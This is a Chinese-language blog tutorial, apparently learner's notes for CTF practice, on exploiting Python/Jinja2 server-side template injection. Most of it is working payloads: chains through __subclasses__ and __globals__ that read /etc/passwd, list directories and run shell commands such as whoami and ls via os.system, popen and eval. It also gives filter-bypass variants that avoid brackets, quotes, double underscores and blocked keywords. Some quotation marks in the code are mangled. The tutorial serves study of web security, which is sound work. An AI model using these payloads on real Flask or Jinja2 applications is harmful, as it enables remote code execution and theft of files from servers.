首页 > 其他 > 详细

从零开始的ssti学习(挖坑)

时间:2020-02-14 19:19:32      阅读:140      评论:0      收藏:0      [点我收藏+]

本文只是接这个机会来梳理一下ssti的知识点。

涉及知识点:

python模板注入

目录:

(1)几种常用于ssti的魔术方法

(2)获取基类的几种方法

(3)获取基本类的子类

(4)利用

(5)读写文件

(6)shell命令执行

(7)绕过姿势

(8)实战

(9)参考

解析:

众所周知ssti要被{{}}包括。接下来的代码均要包括在ssti中。

1.几种常用于ssti的魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

 

2.获取基类的几种方法

[].__class__.__base__
‘‘.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似

 

3.获取基本类的子类

>>> [].__class__.__base__.__subclasses__()

[<type ‘type‘>, <type ‘weakref‘>, <type ‘weakcallableproxy‘>, <type ‘weakproxy‘>, <type ‘int‘>, <type ‘basestring‘>, <type ‘bytearray‘>, <type ‘list‘>, <type ‘NoneType‘>, <type ‘NotImplementedType‘>, <type ‘traceback‘>, <type ‘super‘>, <type ‘xrange‘>, <type ‘dict‘>, <type ‘set‘>, <type ‘slice‘>, <type ‘staticmethod‘>, <type ‘complex‘>, <type ‘float‘>, <type ‘buffer‘>, <type ‘long‘>, <type ‘frozenset‘>, <type ‘property‘>, <type ‘memoryview‘>, <type ‘tuple‘>, <type ‘enumerate‘>, <type ‘reversed‘>, <type ‘code‘>, <type ‘frame‘>, <type ‘builtin_function_or_method‘>, <type ‘instancemethod‘>, <type ‘function‘>, <type ‘classobj‘>, <type ‘dictproxy‘>, <type ‘generator‘>, <type ‘getset_descriptor‘>, <type ‘wrapper_descriptor‘>, <type ‘instance‘>, <type ‘ellipsis‘>, <type ‘member_descriptor‘>, <type ‘file‘>, <type ‘PyCapsule‘>, <type ‘cell‘>, <type ‘callable-iterator‘>, <type ‘iterator‘>, <type ‘sys.long_info‘>, <type ‘sys.float_info‘>, <type ‘EncodingMap‘>, <type ‘fieldnameiterator‘>, <type ‘formatteriterator‘>, <type ‘sys.version_info‘>, <type ‘sys.flags‘>, <type ‘exceptions.BaseException‘>, <type ‘module‘>, <type ‘imp.NullImporter‘>, <type ‘zipimport.zipimporter‘>, <type ‘posix.stat_result‘>, <type ‘posix.statvfs_result‘>, <class ‘warnings.WarningMessage‘>, <class ‘warnings.catch_warnings‘>, <class ‘_weakrefset._IterationGuard‘>, <class ‘_weakrefset.WeakSet‘>, <class ‘_abcoll.Hashable‘>, <type ‘classmethod‘>, <class ‘_abcoll.Iterable‘>, <class ‘_abcoll.Sized‘>, <class ‘_abcoll.Container‘>, <class ‘_abcoll.Callable‘>, <type ‘dict_keys‘>, <type ‘dict_items‘>, <type ‘dict_values‘>, <class ‘site._Printer‘>, <class ‘site._Helper‘>, <type ‘_sre.SRE_Pattern‘>, <type ‘_sre.SRE_Match‘>, <type ‘_sre.SRE_Scanner‘>, <class ‘site.Quitter‘>, <class ‘codecs.IncrementalEncoder‘>, <class ‘codecs.IncrementalDecoder‘>]

ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

那么我们可以利用的类有哪些呢?

 

4.利用

我们可以利用的方法有<type ‘file‘>等。(甚至file一般是第40号)

>>> ().__class__.__base__.__subclasses__()[40](/etc/passwd).read()

技术分享图片

 

 

可以从上面的例子中看到我们用file读取了 /etc/passwd ,但是如果想要读取目录怎么办?

那么我们可以寻找万能的os模块。

写脚本遍历。

#!/usr/bin/env python
# encoding: utf-8

num = 0
for item in ‘‘.__class__.__mro__[2].__subclasses__(): try: if os in item.__init__.__globals__: print num,item num+=1 except: print - num+=1

得到结果。

技术分享图片

 

 

 直接调用就好了。可以直接调用system函数,有了shell其他的问题不就解决了吗?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__[‘os‘].system(ls)

 

5.读写文件

当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__[os].listdir(.)  #读取本级目录

另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。

方法一:

>>> ‘‘.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[__builtins__][file](‘/etc/passwd).read()    #把 read() 改为 write() 就是写文件

方法二:

存在的子模块可以通过 .index()方式来查询

>>> ‘‘.__class__.__mro__[2].__subclasses__().index(file)
40

用file模块来查询。

>>> [].__class__.__base__.__subclasses__()[40](/etc/passwd).read()

其他的方式我还不怎么会,就不多说了。之后可能会补。

 

6.shell命令执行

本人有点菜,就直接搬运大佬的方法了。

方法一:  eval函数进行命令执行

>>> ‘‘.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__("os").popen("whoami").read())

方法二:  利用 warnings.catch_warnings 进行命令执行

>>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看 linecache 的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index(linecache)
25

找os模块。

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache].__dict__.keys().index(os)
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache].__dict__.values()[12].__dict__.keys().index(system)
144

调用system方法。(不包含system,可以绕过过滤system的情况)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache].__dict__.values()[12].__dict__.values()[144](whoami)
root
0

方法三:利用commands进行命令执行

>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][__import__](commands).getstatusoutput(ls)
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][__import__](os).system(ls)
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__(os).popen(‘ls).read()

 

7.绕过姿势

(1)绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。绕过姿势:

>>> ‘‘.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(/etc/passwd).read()

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

(2)绕过引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤,绕过姿势:

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

(3)过滤双下划线

同样可以使用 request.args 来绕过。绕过姿势:

{{ ‘‘[request.args.class][request.args.mro][2][request.args.subclasses]()[40](/etc/passwd).read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 换成 request.values 则可以利用post方式传参

GET:
{{ ‘‘[request.value.class][request.value.mro][2][request.value.subclasses]()[40](/etc/passwd).read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

(4)过滤关键字

__getattribute__使用实例访问属性时,调用该方法

方法一:  base64编码绕过

若 __class__ 被过滤,绕过姿势:

{{[].__getattribute__(X19jbGFzc19f.decode(base64)).__base__.__subclasses__()[40](/etc/passwd).read()}}

方法二:  字符串拼接绕过

同是 __class__ 被过滤,绕过姿势:

{{[].__getattribute__(__c+lass__).__base__.__subclasses__()[40](/etc/passwd).read()}}

 

8.实战

 

9.参考文章

谢谢iGetFlag大佬的文章

 

 

 

从零开始的ssti学习(挖坑)

原文:https://www.cnblogs.com/cioi/p/12308518.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!